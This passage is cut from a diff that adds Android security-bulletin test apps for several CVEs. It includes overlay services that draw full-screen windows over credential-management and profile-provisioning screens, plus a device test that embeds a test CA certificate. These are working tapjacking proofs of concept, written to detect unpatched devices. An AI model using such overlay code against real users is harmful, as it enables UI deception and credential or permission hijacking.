Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + final int launchTimeoutMs = 20000; + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + launchTimeoutMs)) { + overlayDisallowed = true; + } + + Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE); + intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, + new ComponentName(context, PocDeviceAdminReceiver.class)); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null); + String testVulnerableActivity = ri.activityInfo.name; + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity)); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity), + overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java new file mode 100644 index 00000000000..89a7d931479 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE; +import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE); + intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, + new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class)); + PackageManager pm = getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null); + try { + startActivityForResult(intent, 1); + } catch (ActivityNotFoundException e) { + assumeNoException(getString(R.string.activityNotFoundMsg, intent), e); + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + if (resultCode == Activity.RESULT_OK) { + this.setResult(Activity.RESULT_OK); + this.finish(); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java new file mode 100644 index 00000000000..455aa03141c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import android.app.admin.DeviceAdminReceiver; +import android.content.Context; +import android.content.Intent; + +public class PocDeviceAdminReceiver extends DeviceAdminReceiver { + + @Override + public void onReceive(Context context, Intent intent) { + super.onReceive(context, intent); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java new file mode 100644 index 00000000000..be96d115d4f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + private Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + mButton = new Button(getApplicationContext()); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp new file mode 100644 index 00000000000..034f865b04f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39702", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml new file mode 100644 index 00000000000..60105d647cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml @@ -0,0 +1,37 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39702" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_39702" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39702" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml new file mode 100644 index 00000000000..46f9745c003 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml @@ -0,0 +1,34 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="activityNotFoundMsg">The activity with intent was not found : </string> + <string name="activityNotStartedException">Unable to start the activity with intent : </string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivity">dumpsys activity</string> + <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command + </string> + <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with + "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayAttack">overlayattack</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayServiceNotStartedException">Unable to start the overlay service</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running + on the device</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java new file mode 100644 index 00000000000..b5f3a3ecce9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java @@ -0,0 +1,128 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.net.Uri; +import android.provider.Settings; +import android.security.AppUriAuthenticationPolicy; +import android.security.Credentials; +import android.security.KeyChain; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int LAUNCH_TIMEOUT_MS = 20000; + private String vulnerableActivityName = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assumeNotNull(context); + Intent intent = new Intent(context, PocService.class); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e); + } + } + + public void startVulnerableActivity() { + Context context = getApplicationContext(); + assumeNotNull(context); + Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder() + .addAppAndUriMapping(context.getPackageName(), Uri.parse(""), + context.getString(R.string.overlayAttack)) + .build(); + intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy); + PackageManager pm = context.getPackageManager(); + assumeNotNull(pm); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null); + assumeNotNull(ri.activityInfo); + vulnerableActivityName = ri.activityInfo.name; + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e); + } + } + + @Test + public void testOverlayButtonPresence() { + Context context = getApplicationContext(); + assumeNotNull(context); + UiDevice device = UiDevice.getInstance(getInstrumentation()); + assumeNotNull(device); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.overlayUiScreenError), + device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())), + LAUNCH_TIMEOUT_MS); + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = device.executeShellCommand( + context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.errorMessage), overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java new file mode 100644 index 00000000000..e20029af7e0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + mButton = new Button(context); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp new file mode 100644 index 00000000000..ea7eb99d328 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39706", + defaults: [ + "cts_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + sdk_version: "current", + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml new file mode 100644 index 00000000000..4ee35bad5c9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml @@ -0,0 +1,48 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39706" + android:versionCode="1" + android:versionName="1.0"> + <application + android:testOnly="true" + android:label="CVE-2021-39706" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + <receiver android:name=".PocDeviceAdminReceiver" + android:exported="true" + android:permission="android.permission.BIND_DEVICE_ADMIN"> + <meta-data + android:name="android.app.device_admin" + android:resource="@xml/device_policies" /> + <intent-filter> + <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action> + </intent-filter> + </receiver> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39706" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml new file mode 100644 index 00000000000..6188e9ac7f0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent"> + + <Button + android:id="@+id/button" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="@string/cleanCache" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml new file mode 100644 index 00000000000..2afb31c440a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml @@ -0,0 +1,33 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="settingsPkg">com.android.settings</string> + <string name="settingsPkgCar">com.android.car.settings</string> + <string name="certCls">com.android.settings.security.CredentialStorage</string> + <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string> + <string name="certInstalled">Certificate is already installed</string> + <string name="certInstallFail">Certificate installation failed!</string> + <string name="certNotFound">Certificate not found after installation</string> + <string name="pkgName">android.security.cts.CVE_2021_39706</string> + <string name="openFail">Failed to open </string> + <string name="tapFail">Failed to Tap </string> + <string name="pkgInstallFail"> is not installed!</string> + <string name="oK">OK</string> + <string name="cleanCache">CLEAN CACHE</string> + <string name="failMessage">Vulnerable to b/200164168 !!</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml new file mode 100644 index 00000000000..8a3a4d334c7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<device-admin> + <uses-policies> + <disable-camera/> + </uses-policies> +</device-admin> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java new file mode 100644 index 00000000000..fcff1b1e44d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java @@ -0,0 +1,151 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39706; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.content.res.Resources; +import android.security.cts.CVE_2021_39706.PocActivity; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.List; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int TIMEOUT = 10000; + private static Resources resources; + private static String settingsPkg; + + /* + * The Certificate and keypair below are generated with: + * + * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650 + */ + + // Content from cert.pem + public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n" + + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n" + + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n" + + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n" + + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n" + + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n" + + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n" + + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n" + + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n" + + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n" + + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n" + + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n" + + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n" + + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n" + + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n" + + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n" + + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n" + + "v02a06J8kg==\n" + "-----END CERTIFICATE-----"; + + private UiDevice device; + private Context context; + private PackageManager packageManager; + + private void openApplication(String applicationName) { + Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName); + 